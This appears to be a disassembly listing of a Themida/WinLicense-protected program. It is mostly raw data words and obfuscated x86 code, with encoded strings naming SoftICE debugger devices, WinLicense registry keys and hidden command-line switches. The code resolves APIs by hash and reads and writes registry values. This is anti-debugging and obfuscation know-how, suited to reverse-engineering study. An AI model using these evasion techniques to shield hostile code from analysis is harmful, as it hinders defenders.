		dd 0D430D2FDh, 4603E6FFh, 3F8F2B55h, 0B5791B84h, 0B4AB3D2Ch
		dd 0DC26035h, 0CF0AD3C4h, 78A74B6Fh, 0E3C26035h, 27AE8FF1h
		dd 485959FDh, 1996413Fh, 0A78084BEh, 264AE61Ch,	0D15A9AAAh
		dd 0E81CBAC6h, 0E100E4C8h, 3AC26080h, 0BF661E69h, 0BA409177h
		dd 90B41E3Ah, 0E306DF74h, 0EB8F3166h, 0BA460E2h, 3A0AE17Ch
		dd 2917D26Ah, 0F02C9892h, 76621E2Ah, 0EA9D36CEh, 0C531C00Eh
		dd 0C260EB9Eh, 9719AAF7h, 0BE91BB3h, 4B5A7E42h,	0A4C260EBh
		dd 260A880Fh, 0EFD09C9Eh, 7423138Fh, 0F6BA4A84h, 2EC67E5Ah
		dd 6E8AF2A5h, 3521E361h, 6F8B699Bh, 0B84C8663h,	0A460733Ch
		dd 0B848A322h, 8821E31Dh, 5D019D3Bh, 9932D270h,	0BF45FFD7h
		dd 25C4A1E6h, 649E3915h, 808007A0h, 7F4C5B56h, 8049AB55h
		dd 1C408053h, 8604938Dh, 0C3E206AAh, 1CC260EBh,	53E9E987h
		dd 14993444h, 6BA534B9h, 0C013C089h, 0CD775C00h, 0EBE0FFE3h
		dd 6839C260h, 34F1651Fh, 0C77AD453h, 0E2FEF630h, 0F5B64EF6h
		dd 7C5CF9F0h, 2007D0E0h, 0A532D3DEh, 0D0706BF2h, 0BE6A4700h
		dd 8314E002h, 8DA95A75h, 12A8B6F3h, 2509F9CAh, 0C748E49h
		dd 245443FDh, 751997A9h, 0EDB65251h, 7116AB09h,	46972713h
		dd 5B818B28h, 705E9AEDh, 4690ECD4h, 1A6D46BEh, 0AD677662h
		dd 9CA62B47h, 7C5FE658h, 51881BCFh, 8C926B1h, 8A3912F2h
		dd 0D3E8B878h, 33487A1Ch, 18B3C5D2h, 36F0EFD3h,	254909EDh
		dd 0D45D97ADh, 0E4ECD4FFh, 0BD542E95h, 50619CB3h, 3B1225AFh
		dd 0DBB74552h, 4AAA547Fh, 66F41681h, 0E8FF5B65h, 8AFDD62Eh
		dd 69DC4AAEh, 0DB111E7h, 0F345BAE9h, 0D3BF1301h, 390AC811h
		dd 6B4E3F0h, 0FED56F6Ah, 0A835F2C2h, 95D112D0h,	0D0B70C06h
		dd 34367E42h, 8A89574Fh, 72483A4Dh, 0F425496Ah,	1A56E9B8h
		dd 0E56E86BEh, 2D2EEh, 93AD272Ah, 8ECD871h, 0D56F6321h
		dd 3A799FEh, 0B1D65067h, 0F09DC547h, 0FADEC209h, 0F9F651EBh
		dd 1A286F44h, 8D679D36h, 0EE16BCC4h, 2A863D16h,	777DB746h
		dd 3F1BE9AEh, 30BD1794h, 9C279CA4h, 68618C14h, 0D153FBD0h
		dd 0DA1A24AFh, 0A4CC4651h, 0F808C429h, 7289E5CBh, 24733CB8h
		dd 0F4E0BC58h, 0F9F6F8EDh, 9F8BD858h, 0B012BADEh, 2A399D23h
		dd 83F9F642h, 0F88F692Eh, 3F212B86h, 6D896B95h,	0A022E260h
		dd 5189C625h, 0FA00D1ADh
		dd 0ABBA1EFAh, 4D2C0FEh, 725C24AFh, 0EE9932D2h,	0E8C47477h
		dd 0C0FDE5FCh, 22753ED2h, 9236FBD6h, 0D2C0FE93h, 3DEDD7ECh
		dd 47FFEE30h, 0C29E22B1h, 0EF9BEC10h, 58876B4Fh, 0B1D2C02Fh
		dd 0CA726020h, 0EF10BBBDh, 98F51860h, 258B389Bh, 0F78B249h
		dd 1E5C975h, 0D2C116E2h, 9D25DFF9h, 0E5EE14C1h,	0A40DC6B2h
		dd 55DE162Eh, 565E427Eh, 0BDA165BEh, 0DC03F52Fh, 35D2C0E2h
		dd 75611B6Ch, 302F935Ch, 89D2C0E3h, 8D698B38h, 7E40C47Eh
		dd 7054E407h, 0D2C0E371h, 0ECAF9CAh, 40C40E72h,	0EB4B8E57h
		dd 39BB458Fh, 0FED92770h, 0E39EC531h, 0ABF7D2C0h, 7E4A851Dh
		dd 685B6874h, 99AB2448h, 45C5D25Bh, 3BC90569h, 8CA12C4Ch
		dd 0C09B3968h, 0DFEE92D2h, 0C6126E65h, 0D6EDC63Eh, 0F2DE821Eh
		dd 1B324552h, 56000000h, 529B5F4Eh, 0D9A52ECAh,	14C61A2Ch
		dd 12BDC310h, 1275A7F0h, 0B3E4606Eh, 2D26626h, 0F3DEFAFAh
		dd 0EC7B351h, 0E8E410F4h, 16C09C58h, 0ECEA16EEh, 13C09C58h
		dd 0D8EF0BE9h, 18BAA65Eh, 577220E4h, 0C781E789h, 4, 5704EF83h
		dd 42474FFh, 24048F5Fh,	20A6685Ch, 0C890000h, 0E7895724h
		dd 4C781h, 0EF810000h, 4, 5C243C87h, 0B9241489h, 238A104Ch
		dd 284BE981h, 0E9817EFBh, 79D145B1h, 5560C981h,	0BE5664C6h
		dd 5EF50742h, 8107E6C1h, 176AAEEh, 814E4614h, 80A6CAC6h
		dd 5EF12900h, 24148B54h, 5604C483h, 89C88950h, 728958C6h
		dd 34FF5E08h, 0C4815A24h, 4
; ---------------------------------------------------------------------------
		mov	ecx, [esp+30h+var_32+2]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp+34h+var_36+2]
		pop	esp
		jmp	loc_5A99E0
; ---------------------------------------------------------------------------
		db 92h
		db 0AAh, 0DBh, 0A8h
; ---------------------------------------------------------------------------


loc_5D5317:				; CODE XREF: sub_5A55E5:loc_5D4109j
		mov	eax, 7FD3773h
		add	eax, ebp
		jmp	eax
sub_5A55E5	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		xor	esp, [edx]
		cmp	eax, 81F30156h
		pusha
		jmp	short loc_5D53A1
; ---------------------------------------------------------------------------
		dw 1E11h
		dd 5E0D2A30h, 331220E9h, 633FE8BCh
; ---------------------------------------------------------------------------
		xchg	eax, ebp


loc_5D5339:				; CODE XREF: Themida_:005D53A2j
		js	short near ptr loc_5D5341+2
		sbb	bh, ch
		aaa
		inc	edx
		js	short loc_5D5346


loc_5D5341:				; CODE XREF: Themida_:loc_5D5339j
		mov	ds:0C1E92080h, eax


loc_5D5346:				; CODE XREF: Themida_:005D533Fj
		dec	eax
		push	ds
		jg	short loc_5D5375
		outsb
		add	al, 0E2h
		mov	ah, 15h
		sub	esp, [eax-1]
		dec	ebp
		psubsb	mm1, qword ptr [edx]
; ---------------------------------------------------------------------------
		dw 0
		dd 65983600h, 4B3F7781h, 8A3C24A4h, 0B5B45BCFh,	5EFEC381h
		dd 68FC0000h, 17A3h
; ---------------------------------------------------------------------------
		pop	edx


loc_5D5375:				; CODE XREF: Themida_:005D5348j
		mov	ax, di
		mov	edi, [ebx]
		jg	$+6
		add	edi, 2B8F1769h
		stc
		xor	edi, 35AE3BEFh
		mov	ecx, 5E17F55Ah
		xor	edi, 627E2F89h
		mov	esi, 39F5EFE8h
		mov	[ebx], edi
; ---------------------------------------------------------------------------
		db 81h
		db 0EBh
; ---------------------------------------------------------------------------


loc_5D53A1:				; CODE XREF: Themida_:005D5328j
		outsb
		jb	short loc_5D5339
		sbb	ebp, eax
		push	cs
; ---------------------------------------------------------------------------
		db 0
		dd 0B3050000h, 0CBA0B182h, 12BE5334h, 0A74BE0D9h, 59F6B70Fh
		dd 726AC381h, 0CE8B1B95h, 0F01EA83h, 0FFFFAB85h, 0E9F38BFFh
		dd 8Dh,	55BD8360h, 7FA1Dh, 5840Fh, 78E90000h, 6A000000h
		dd 303E8000h, 8850Fh, 6A0000h, 35E946h,	3E800000h, 8850F33h
		dd 6A000000h, 24E94610h, 80000000h, 850F343Eh, 8, 0E946306Ah
		dd 13h,	0F353E80h, 885h, 46406A00h, 2E9h, 80006A00h, 850F203Eh
		dd 12h,	17E80h,	8850Fh,	0C4830000h, 15E908h, 858D0000h
		dd 7FA1421h, 24048950h,	6A965096h, 0B995FF00h, 6107FA00h
		dd 7185C6C3h, 4D07FA15h, 5440E268h, 24348189h, 2D61364Ah
		dd 21DDB5FFh, 858D07FAh, 7FA3B93h, 8589D0FFh, 7FA00B9h
		dd 0DE8h, 0EDA22B00h, 625408F7h, 21B9F048h, 14E8E725h
		dd 0A3000000h, 712503FAh, 33ACFDF8h, 0A4D7FD45h, 0F1237AB0h
		dd 0FB02ED8h, 5A59F0BFh, 81F28B66h, 63E1C2h, 0F38B6600h
		dd 0BD29C02Bh, 7FA013Dh, 0F023C8Bh, 0EF81DFB7h,	67095AC3h
		dd 0B311EF81h, 81FC6817h, 0DF9D51C7h, 0F58D8B49h, 5707FA2Eh
		dd 13E9h, 3F086800h, 6BEDF92h, 55A7B98Eh, 0F6139330h, 5C89F774h
		dd 8102048Fh, 577C60DBh, 298D3164h, 8307FA25h, 850101E8h
		dd 7FA10ADh, 89484848h,	0FA1135B5h, 0F0F88107h,	0FFFFF9Ch
		dd 1985h, 35B50300h, 0E907FA31h, 26h, 0F8A6EE70h, 5965FD8h
		dd 9F8AEA9Ah, 870FC041h, 6, 24658529h, 71E907FAh, 7AFFFFFFh
		dd 4006285Dh, 0AAE906B0h, 53000000h, 7774666Fh,	5C657261h
		dd 4C6E6957h, 6E656369h, 43006573h, 6B636568h, 58004E49h
		dd 746F7270h, 74697845h, 65684300h, 554F6B63h, 69570054h
		dd 63694C6Eh, 65736E65h, 73726556h, 6E6F69h, 4C6E6957h
		dd 6E656369h, 72446573h, 72657669h, 73726556h, 6E6F69h
		dd 4C6E6957h, 6E656369h, 6E496573h, 6E617473h, 45006563h
		dd 4F746978h, 7250006Bh, 4E49636Fh, 6F725000h, 54554F63h
		dd 69784500h, 4E4974h, 74697845h, 54554Fh, 4E497054h, 3	dup(0)
		dd 0DEB90800h, 0DFD5BB77h, 596E977h, 85890000h,	7FD3AFDh
		dd 3AF9858Dh, 8D5007FDh, 0FD3A6385h, 1685007h, 0FF800000h
		dd 0FD3B0995h, 0FF196A07h, 0FD3AFDB5h, 6A016A07h, 92858D00h
		dd 5007FD3Ah, 3AF9B5FFh, 95FF07FDh, 7FA086Dh, 3AF9B5FFh
		dd 95FF07FDh, 7FD3B05h,	3AF9B5FFh, 95FF07FDh, 7FA25EDh
		dd 0FD8589C3h, 8D07FD3Ah, 0FD3AF985h, 858D5007h, 7FD3A63h
		dd 16850h, 95FF8000h, 7FD3B09h,	858D046Ah, 7FD3AFDh, 6A046A50h
		dd 0BC858D00h, 5007FD3Ah, 3AF9B5FFh, 95FF07FDh,	7FA086Dh
		dd 3AF9B5FFh, 95FF07FDh, 7FD3B05h, 3AF9B5FFh, 95FF07FDh
		dd 7FA25EDh, 0FD8589C3h, 8D07FD3Ah, 0FD3AF985h,	858D5007h
		dd 7FD3A63h, 16850h, 95FF8000h,	7FD3B09h, 858D046Ah, 7FD3AFDh
		dd 6A046A50h, 0A4858D00h, 5007FD3Ah, 3AF9B5FFh,	95FF07FDh
		dd 7FA086Dh, 3AF9B5FFh,	95FF07FDh, 7FD3B05h, 3AF9B5FFh
		dd 95FF07FDh, 7FA25EDh,	0FD8589C3h, 8D07FD3Ah, 0FD3AF985h
		dd 858D5007h, 7FD3A63h,	16850h,	95FF8000h, 7FD3B09h, 858D046Ah
		dd 7FD3AFDh, 6A046A50h,	0CF858D00h, 5007FD3Ah, 3AF9B5FFh
		dd 95FF07FDh, 7FA086Dh,	3AF9B5FFh, 95FF07FDh, 7FD3B05h
		dd 3AF9B5FFh, 95FF07FDh, 7FA25EDh, 0FD8589C3h, 8D07FD3Ah
		dd 0FD3AF985h, 858D5007h, 7FD3A63h, 16850h, 95FF8000h
		dd 7FD3B09h, 858D046Ah,	7FD3AFDh, 6A046A50h, 7F858D00h
		dd 5007FD3Ah, 3AF9B5FFh, 95FF07FDh, 7FA086Dh, 3AF9B5FFh
		dd 95FF07FDh, 7FD3B05h,	3AF9B5FFh, 95FF07FDh, 7FA25EDh
		dd 35BD83C3h, 7FA34h, 0B840Fh, 9D8B0000h, 7FA3435h, 894CC383h
		dd 0BD83C303h, 7FA3435h, 0B840F00h, 8B000000h, 0FA34359Dh
		dd 50C38307h, 83C30389h, 0FA3435BDh, 840F0007h,	0Bh, 34359D8Bh
		dd 0C38307FAh, 0C3038954h, 3435BD83h, 0F0007FAh, 0B84h
		dd 359D8B00h, 8307FA34h, 38958C3h, 35BD83C3h, 7FA34h, 0B840Fh
		dd 9D8B0000h, 7FA3435h,	895CC383h, 60C3C303h, 3AFD8589h
		dd 858D07FDh, 7FD3AF9h,	63858D50h, 5007FD3Ah, 168h, 995FF80h
		dd 6A07FD3Bh, 0FD858D04h, 5007FD3Ah, 6A046Ah, 3AF4858Dh
		dd 0FF5007FDh, 0FD3AF9B5h, 6D95FF07h, 8307FA08h, 0FA16D1BDh
		dd 840F0007h, 0Ch, 3AF9B5FFh, 95FF07FDh, 7FD3B05h, 3AF9B5FFh
		dd 95FF07FDh, 7FA25EDh,	8960C361h, 0FD3AFD85h, 0F9858D07h
		dd 5007FD3Ah, 3A63858Dh, 685007FDh, 80000001h, 3B0995FFh
		dd 46A07FDh, 3AFD858Dh,	6A5007FDh, 8D006A04h, 0FD3AD685h
		dd 0B5FF5007h, 7FD3AF9h, 86D95FFh, 0BD8307FAh, 7FA16D1h
		dd 0C840F00h, 0FF000000h, 0FD3AF9B5h, 595FF07h,	0FF07FD3Bh
		dd 0FD3AF9B5h, 0ED95FF07h, 6107FA25h, 858960C3h, 7FD3AFDh
		dd 3AF9858Dh, 8D5007FDh, 0FD3A6385h, 1685007h, 0FF800000h
		dd 0FD3B0995h, 8D046A07h, 0FD3AFD85h, 46A5007h,	858D006Ah
		dd 7FD3ADDh, 0F9B5FF50h, 0FF07FD3Ah, 0FA086D95h, 0D1BD8307h
		dd 7FA16h, 0C840Fh, 0B5FF0000h,	7FD3AF9h, 3B0595FFh, 0B5FF07FDh
		dd 7FD3AF9h, 25ED95FFh,	0C36107FAh, 0FD858960h,	8D07FD3Ah
		dd 0FD3AF985h, 858D5007h, 7FD3A63h, 16850h, 95FF8000h
		dd 7FD3B09h, 858D046Ah,	7FD3AFDh, 6A046A50h, 0E5858D00h
		dd 5007FD3Ah, 3AF9B5FFh, 95FF07FDh, 7FA086Dh, 16D1BD83h
		dd 0F0007FAh, 0C84h, 0F9B5FF00h, 0FF07FD3Ah, 0FD3B0595h
		dd 0F9B5FF07h, 0FF07FD3Ah, 0FA25ED95h, 60C36107h, 3AFD8589h
		dd 858D07FDh, 7FD3AF9h,	63858D50h, 5007FD3Ah, 168h, 995FF80h
		dd 6A07FD3Bh, 0FD858D04h, 5007FD3Ah, 6A046Ah, 3AEC858Dh
		dd 0FF5007FDh, 0FD3AF9B5h, 6D95FF07h, 8307FA08h, 0FA16D1BDh
		dd 840F0007h, 0Ch, 3AF9B5FFh, 95FF07FDh, 7FD3B05h, 3AF9B5FFh
		dd 95FF07FDh, 7FA25EDh,	0C760C361h, 0FD3AFD85h,	107h, 0F9858D00h
		dd 5007FD3Ah, 3A63858Dh, 685007FDh, 80000002h, 3B0995FFh
		dd 0C00B07FDh, 0F840Fh,	85C70000h, 7FD3AFDh, 0
; ---------------------------------------------------------------------------
		jmp	loc_5D5AD6
; ---------------------------------------------------------------------------
		push	4
		lea	eax, [ebp+7FD3AFDh]
		push	eax
		push	4
		push	0
		lea	eax, [ebp+7FD3A77h]
		push	eax
		push	dword ptr [ebp+7FD3AF9h]
		call	dword ptr [ebp+7FA086Dh]
		or	eax, eax
		jz	loc_5D5AC0
		mov	dword ptr [ebp+7FD3AFDh], 0
		jmp	loc_5D5ACA
; ---------------------------------------------------------------------------


loc_5D5AC0:				; CODE XREF: Themida_:005D5AABj
		mov	dword ptr [ebp+7FD3AFDh], 1


loc_5D5ACA:				; CODE XREF: Themida_:005D5ABBj
		push	dword ptr [ebp+7FD3AF9h]
		call	dword ptr [ebp+7FA25EDh]


loc_5D5AD6:				; CODE XREF: Themida_:005D5A84j
		popa
		mov	eax, [ebp+7FD3AFDh]
		retn
; ---------------------------------------------------------------------------
		pusha
		mov	[ebp+7FD3AFDh],	eax
		lea	eax, [ebp+7FD3AF9h]
		push	eax
		lea	eax, [ebp+7FD3A63h]
		push	eax
		push	80000001h
		call	dword ptr [ebp+7FD3B09h]
		push	4
		lea	eax, [ebp+7FD3AFDh]
		push	eax
		push	4
		push	0
		lea	eax, [ebp+7FD3A77h]
		push	eax
		push	dword ptr [ebp+7FD3AF9h]
		call	dword ptr [ebp+7FA086Dh]
		cmp	dword ptr [ebp+7FA16D1h], 0
		jz	loc_5D5B37
		push	dword ptr [ebp+7FD3AF9h]
		call	dword ptr [ebp+7FD3B05h]


loc_5D5B37:				; CODE XREF: Themida_:005D5B25j
		push	dword ptr [ebp+7FD3AF9h]
		call	dword ptr [ebp+7FA25EDh]
		popa
		retn
; ---------------------------------------------------------------------------
		pusha
		mov	[ebp+7FD3AFDh],	eax
		lea	eax, [ebp+7FD3AF9h]
		push	eax
		lea	eax, [ebp+7FD3A63h]
		push	eax
		push	80000001h
		call	dword ptr [ebp+7FD3B09h]
		push	4
		lea	eax, [ebp+7FD3AFDh]
		push	eax
		push	4
		push	0
		lea	eax, [ebp+7FD3A89h]
		push	eax
		push	dword ptr [ebp+7FD3AF9h]
		call	dword ptr [ebp+7FA086Dh]
		cmp	dword ptr [ebp+7FA16D1h], 0
		jz	loc_5D5B9E
		push	dword ptr [ebp+7FD3AF9h]
		call	dword ptr [ebp+7FD3B05h]


loc_5D5B9E:				; CODE XREF: Themida_:005D5B8Cj
		push	dword ptr [ebp+7FD3AF9h]
		call	dword ptr [ebp+7FA25EDh]
		popa
		retn
; ---------------------------------------------------------------------------
		mov	byte ptr [ebp+7FA1571h], 52h
		push	0ADE47B07h
		push	dword ptr [ebp+7FA1F3Dh]
		call	dword ptr [ebp+7FA1EF1h]
		mov	[ebp+7FD3B09h],	eax
		mov	byte ptr [ebp+7FA1571h], 52h
		push	902E00E5h
		push	dword ptr [ebp+7FA1F3Dh]
		call	dword ptr [ebp+7FA1EF1h]
		mov	[ebp+7FD3B05h],	eax
		mov	byte ptr [ebp+7FA1571h], 52h
		push	0B9BF1235h
		push	dword ptr [ebp+7FA1F3Dh]
		call	dword ptr [ebp+7FA1EF1h]
		mov	[ebp+7FA086Dh],	eax
		mov	byte ptr [ebp+7FA1571h], 52h
		push	98781034h
		push	dword ptr [ebp+7FA1F3Dh]
		call	dword ptr [ebp+7FA1EF1h]
		mov	[ebp+7FA25EDh],	eax
		mov	byte ptr [ebp+7FA1571h], 52h
		push	0C005DBD4h
		push	dword ptr [ebp+7FA1F3Dh]
		call	dword ptr [ebp+7FA1EF1h]
		mov	[ebp+7FA3335h],	eax
		jmp	short loc_5D5C62
; ---------------------------------------------------------------------------
		dd 5C2E5C5Ch, 45434953h, 2E5C5C00h, 5749535Ch, 444956h
		dd 5C2E5C5Ch, 4349544Eh
		db 45h,	0
; ---------------------------------------------------------------------------


loc_5D5C62:				; CODE XREF: Themida_:005D5C42j
		mov	eax, eax
		push	0
		push	eax
		call	sub_5D5C6F
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5D5C6F	proc near		; CODE XREF: Themida_:005D5C67p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 1Ch
		inc	eax
		push	eax
		retn
sub_5D5C6F	endp

; ---------------------------------------------------------------------------
		db 7Dh
		dd 7E8878A8h, 8155CE82h, 0BEFC6051h, 99E99Eh, 0FE95E61h
		dd 0C3000000h, 35A7D9F3h, 0E389D4C3h, 557D15D5h, 0BD83C57Eh
		dd 7FA16D1h, 83097500h,	0FA3535BDh, 19740007h, 0C08B5350h
		dd 40FB8h, 2D858900h, 8D07FA1Eh, 0FD3FDA9Dh, 5BD3FF07h
		dd 35BD8358h, 7FA35h, 53501774h, 40FB8h, 2D858900h, 8D07FA1Eh
		dd 0FD3CC99Dh, 5BD3FF07h, 8B76B658h, 57006AC0h,	3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1804h,	0C3574700h, 152623E1h
		dd 8D858980h, 0C607FA09h, 0FA157185h, 0B58B4307h, 7FA0535h
		dd 2D4968F5h, 1B98241h,	8145C07Ch, 41B32404h, 0B52B3A4Dh
		dd 7FA242Dh, 1229B5FFh,	8D8907FAh, 7FA1541h, 3B93858Dh
		dd 0BD8907FAh, 7FA08B1h, 8166D0FFh, 50DAA3EAh, 86F4BA66h
		dd 6A240489h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 1A042444h, 47000000h, 0BCDAC357h, 9606167Ch,	5DBD296Eh
		dd 6A07FA09h, 89B58B00h, 0E807FA18h, 4,	80h, 0FE9h, 376E8100h
		dd 57AD2A1Dh, 808A0506h, 681A80FFh, 0E557BA50h,	448B4A33h
		dd 8A570424h, 8B5EC8h, 13E8h, 0BCF43400h, 68EB9976h, 8C36E16Fh
		dd 0BB70BC2Eh, 811C0242h, 0AE95250h, 22000000h,	0EA040FE8h
		dd 3BF9A3B4h, 60310F14h, 59585A61h, 4244489h, 6870F50h
		dd 0F000000h, 89h, 0E8585F00h, 13h, 2C5C17EBh, 0E3E85691h
		dd 5429C2AAh, 5BC791Dh,	66113358h, 92EBD281h, 0F036A5Eh
		dd 684h, 0DBD8B00h, 6A07FA28h, 798D3300h, 6A07FA03h, 0FFB70F03h
		dd 4E8h, 0
		dd 7E9C0h, 83650000h, 6E90BD2Fh, 8B6650D0h, 24448BFAh
		dd 66008B04h, 4489CA8Bh, 9E90424h, 0F9000000h, 0BC9CEE46h
		dd 5662A25Eh, 57006A58h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1904h, 0C3574700h, 0DFBD2D2h, 6E87FE0h, 79000000h, 50A3BD68h
		dd 0DE9538Ch, 58000000h, 403E7E0Ch, 0E1ACCBB8h,	6048F295h
		dd 9D8D5A59h, 7FD4140h,	0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 19h, 0BCC35343h, 0FDFF5323h, 50D08A59h, 89F78B66h
		dd 0F781241Ch, 57386B06h, 0A1C78166h, 6AD0FFCEh, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 19042444h, 42000000h
		dd 3F5C352h, 7FD754Eh, 0A5CAB966h, 0D1850F40h, 89000002h
		dd 0FA280D8Dh, 0DE95807h, 6E000000h, 5BAC05D8h,	0C2C4B495h
		dd 50A51B3h, 89FB8B50h,	8D8B2404h, 7FA16A5h, 880F006Ah
		dd 6, 1E5DBD8Bh, 0C06807FAh, 81CAEA9Bh,	64C02404h, 8D093515h
		dd 7FA04A9h, 8BF8036Ah,	0FA26198Dh, 8B006A07h, 0FA2EF595h
		dd 6AF28B07h, 4E8FC03h,	0
		dd 0E8C00000h, 5, 0C4DD6789h, 0DBE5615h, 5E2CB330h, 0DE85059h
		dd 6000000h, 0A1506E10h, 0CE50B568h, 1AC6B7Bh, 8B5FE88Ah
		dd 66042444h, 8B6409B9h, 89595700h, 0E9042444h,	5, 98BA1E9Dh
		dd 6A5899h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 150424h
		dd 55450000h, 897C75C3h, 0FA1C358Dh, 6870F07h, 89000000h
		dd 0FA27C5B5h, 499D8D07h, 8107FD41h, 0A9785DE7h, 0A4B59321h
		dd 0B8BE9350h, 0FF4AF375h, 52006AD0h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1604h,	0C3524200h, 8962C5CCh
		dd 0FA260585h, 850F4007h, 1B8h,	58D08B66h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Ah, 31C35343h, 8E6DFA2Dh
		dd 6E92696h, 0C7000000h, 0D253A88Eh, 718D8B92h,	5007FA11h
		dd 2850F57h, 8B000000h,	4895ECBh, 51006A24h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1B04h,	0C3514100h, 0A195F6B2h
		dd 0FECFBC3Bh, 2599B529h, 6A07FAh, 0BB1BD2Bh, 816607FAh
		dd 0E89936DFh, 4, 80h, 12E9h, 0E5A46A00h, 7B05F1C6h, 67360A38h
		dd 6CF761A0h, 508BE18Ah, 1307BA60h, 8B61370Ch, 8B042444h
		dd 0F2BE6600h, 24448965h, 3EE7B904h, 6A583490h,	3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 17042444h, 42000000h
		dd 0F3E0C352h, 36AA7E4h, 0E852006Ah, 3,	5AC35A20h, 4245489h
		dd 4244481h, 19h, 67C35242h, 90805577h,	6B2CB9CBh, 6A7A55h
		dd 24F1958Bh, 36A07FAh,	45F78150h, 5A2F456Ch, 0BFC8E768h
		dd 0F525054h, 1025B931h, 585A3EB9h, 19240481h, 8B6B4037h
		dd 0FA353D8Dh, 549D8D07h, 8907FD41h, 0FA319185h, 0F8BF6607h
		dd 2EBF501Eh, 890891EEh, 8D29241Ch, 7FA0511h, 0D281D0FFh
		dd 539BF07Eh, 5D850F40h, 6A000000h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 1B042444h, 47000000h, 47CFC357h
		dd 9E1995FEh, 7EB22DECh, 0E9CE8B58h, 127h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Dh, 0BCC35747h, 80A8556Fh
		dd 8CEAEC6Dh, 0A5CE8182h, 661993A3h, 10E2D281h,	6E8D88Bh
		dd 42000000h, 0C5F064D0h, 9589560Eh, 7FA0311h, 664B5F5Fh
		dd 587217B9h, 32E9B58Bh, 85C607FAh, 7FA1571h, 71B52943h
		dd 6807FA12h, 48E4B114h, 93240481h, 52779199h, 0A6E4BA66h
		dd 29B5FF5Eh, 0E907FA12h, 0Eh, 0C25789B0h, 0A439FC54h
		dd 0A352A0A2h, 858D473Fh, 7FA3B93h, 1BDDBD03h, 0D0FF07FAh
		dd 89BEB250h, 6A241Ch, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 180424h, 50400000h, 200ACAC3h, 8166B7D8h, 0FF133CF6h
		dd 56006AD0h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1904h
		dd 0C3564600h, 57ADA74h, 0CE819FB6h, 1A54A14Ah,	72BF9D8Dh
		dd 8D8907FAh, 7FA286Dh,	1B8h, 6E96000h,	53000000h, 47C031F5h
		dd 0E0816649h, 0FF619820h, 0B9BD89E3h, 0F07FA1Ch, 0A8Ch
		dd 5E900h, 0F3660000h, 8B256B92h, 9B58BC1h, 8B07FA28h
		dd 0D8589C0h, 8307FA0Dh, 0FA16D1BDh, 9750007h, 3535BD83h
		dd 740007FAh, 8B535019h, 40FB8C0h, 85890000h, 7FA112Dh
		dd 40419D8Dh, 0D3FF07FDh, 0BD83585Bh, 7FA3535h,	50177400h
		dd 40FB853h, 85890000h,	7FA112Dh, 3CE29D8Dh, 0D3FF07FDh
		dd 958B585Bh, 7FA2161h,	0C08BCF8Bh, 99E9h, 75622F00h, 65686367h
		dd 326B63h, 6775622Fh, 63656863h, 662F006Bh, 6563726Fh
		dd 6E7572h, 6775622Fh, 63656863h, 6C75666Bh, 732F006Ch
		dd 63776F68h, 65646Fh, 6F68732Fh, 646F6377h, 2F003265h
		dd 74726C63h, 69642F00h, 2F003173h, 776F6873h, 74736E69h
		dd 65636E61h, 65672F00h, 736C7774h, 75746174h, 6C2F0073h
		dd 7473676Fh, 73757461h, 75642F00h, 7473706Dh, 73757461h
		dd 0
		dd 68632F00h, 706B6365h, 65746F72h, 6F697463h, 6Eh, 0BD830000h
		dd 7FD48CDh, 0A840F00h,	0C7000000h, 0FA353585h,	107h, 7185C600h
		dd 4707FA15h, 4E8h, 6D6C8D00h, 448B5090h, 8B0424h, 4244489h
		dd 29B5FF58h, 8D07FA12h, 0FA3B9385h, 0FFD0FF07h, 80F88BD0h
		dd 850F223Fh, 22h, 0AE22B047h, 0FFF9850Fh, 3F80FFFFh, 1B840F00h
		dd 47000003h, 0F003F80h, 31184h, 1EE900h, 3F800000h, 3840F00h
		dd 80000003h, 850F203Fh, 6, 6E947h, 0E9470000h,	0FFFFFFE2h
		dd 0F003F80h, 585h, 2E0E900h, 1E90000h,	47000000h, 0F203F80h
		dd 0FFFFF684h, 3F80FFh,	5850Fh,	0C3E90000h, 0E8000002h
		dd 0Ah,	0FFFFCBE9h, 2B4E9FFh, 0B58D0000h, 7FD484Dh, 225E8h
		dd 0E2BD0300h, 8307FD48h, 0FD48E2BDh, 840F0007h, 0Bh, 16D185C7h
		dd 107FAh, 8DC30000h, 0FD4858B5h, 1FCE807h, 0BD030000h
		dd 7FD48E2h, 48E2BD83h,	0F0007FDh, 0B84h, 3585C700h, 107FA35h
		dd 0C3000000h, 48D1B58Dh, 0D3E807FDh, 3000001h,	0FD48E2BDh
		dd 0E2BD8307h, 7FD48h, 0B840Fh,	85C70000h, 7FA1D55h, 1
		dd 62B58DC3h, 0E807FD48h, 1AAh,	48E2BD03h, 0BD8307FDh
		dd 7FD48E2h, 0B840F00h,	0C7000000h, 0FA353585h,	107h, 0B58DC300h
		dd 7FD486Ch, 181E8h, 0E2BD0300h, 8307FD48h, 0FD48E2BDh
		dd 840F0007h, 15h, 353585C7h, 107FAh, 85C70000h, 7FA16D1h
		dd 1, 7AB58DC3h, 0E807FD48h, 14Eh, 48E2BD03h, 0BD8307FDh
		dd 7FD48E2h, 0A840F00h,	0C7000000h, 0FA277185h,	107h, 84B58D00h
		dd 0E807FD48h, 126h, 48E2BD03h,	0BD8307FDh, 7FD48E2h, 0A840F00h
		dd 0C7000000h, 0FA277185h, 107h, 8FB58D00h, 0E807FD48h
		dd 0FEh, 48E2BD03h, 0BD8307FDh,	7FD48E2h, 0A840F00h, 0C7000000h
		dd 0FA116185h, 107h, 95B58D00h,	0E807FD48h, 0D6h, 48E2BD03h
